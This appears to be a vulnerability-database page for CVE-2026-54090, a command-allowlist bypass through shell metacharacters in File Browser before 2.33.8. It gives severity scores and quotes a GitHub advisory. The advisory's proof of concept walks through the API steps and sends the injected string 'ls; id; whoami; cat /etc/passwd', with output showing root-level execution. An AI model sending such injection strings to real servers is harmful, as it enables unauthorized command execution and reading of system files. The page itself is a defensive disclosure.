CVE-2026-54090

highpriority · track · 0EPSS 0.004 · 38 %ileEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.44% (38th) EPSS
CVSS 8.7 · high
Is it mine?
3 products
Check your exposure
Who says so?
3 sources
cnnvd · enisa_euvd · osv

EPSS · scored 2026-10-27

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.33.8, when a shell interpreter is configured (e.g. /bin/sh -c), the command allowlist can be bypassed through shell metacharacters. The allowlist validates only the first token of user input, but the entire raw string is handed to the shell — semicolons, pipes, backticks, and $() all work to chain arbitrary commands after a permitted one. This vulnerability is fixed in 2.33.8.

01

cvss

Technical severity, 0–10. One row per scoring source.

8.7
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.3–8.7

v4.08.7highCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:Nsecondary · ENISA EU
v4.08.7highCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · security-advisories@github.com
v4.06.3mediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (3)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-8c9q-7855-wfxqFile Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection2026-06-12ghsa · osvUS

    > [!NOTE] > **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed. > > For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199. ## Summary When a shell interpreter is configured (e.g. `/bin/sh -c`), the command allowlist can be bypassed through shell metacharacters. The allowlist validates only the first token of user input, but the entire raw string is handed to the shell — semicolons, pipes, backticks, and `$()` all work to chain arbitrary commands after a permitted one. This is a distinct issue from CVE-2025-52995 (regex partial matching, fixed in 2.33.10) and CVE-2025-52903 (GTFOBins-style subcommands). The `slices.Contains` fix does not prevent this bypass. ## Affected Location - `runner/parser.go`, function `ParseCommand` (lines 10-25) - `http/commands.go`, function `commandsHandler` (lines 72-86) ## Root Cause `ParseCommand` extracts the first token via `SplitCommandAndArgs` for the allowlist check, then passes the entire raw input to the shell: ```go func ParseCommand(s *settings.Settings, raw string) (command []string, name string, err error) { name, args, err := SplitCommandAndArgs(raw) if len(s.Shell) == 0 || s.Shell[0] == "" { command = append(command, name) command = append(command, args...) } else { command = append(command, s.Shell...) command = append(command, raw) // full user input, metacharacters included } return command, name, nil } ``` In `commandsHandler`: ```go if !slices.Contains(d.user.Commands, name) { // name = "ls", passes // reject } cmd := exec.Command(command[0], command[1:]...) // actually executes: /bin/sh -c "ls; id; cat /etc/shadow" ``` `name` is `ls` — allowed. But `/bin/sh -c` interprets the rest. ## PoC Prerequisites: - Command execution enabled (`--disable-exec=false`) - Shell configured to `/bin/sh -c` - User has Execute permission with an allowlist, e.g. `git,ls,cat` Steps: 1. Log in, grab a JWT: ``` POST /api/login {"username":"admin","password":"..."} ``` 2. Open a WebSocket to `/api/command/` with header `X-Auth: <jwt>`. 3. Send: ``` ls; id; whoami; cat /etc/passwd ``` 4. All four commands execute and output is returned. Sending just `whoami` alone returns "Command not allowed." — the allowlist is active but bypassable. Output: ``` bin etc home ... ===BYPASS=== uid=0(root) gid=0(root) groups=0(root),10(wheel) root root:x:0:0:root:/root:/bin/sh ``` Tested against commit `d236f1c` (frontend v3.0.0) on the official Docker image `filebrowser/filebrowser:latest`. ## Impact Any user with Execute permission and at least one allowed command can run arbitrary OS commands at the privilege level of the server process. In the default container this is root.

  • GO-2026-5250File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection in github.com/filebrowser/filebrowser2026-06-25vendor · osvUS

    File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection in github.com/filebrowser/filebrowser

06

also known as (5)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-06-25modified 2026-06-26
08

references (6)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan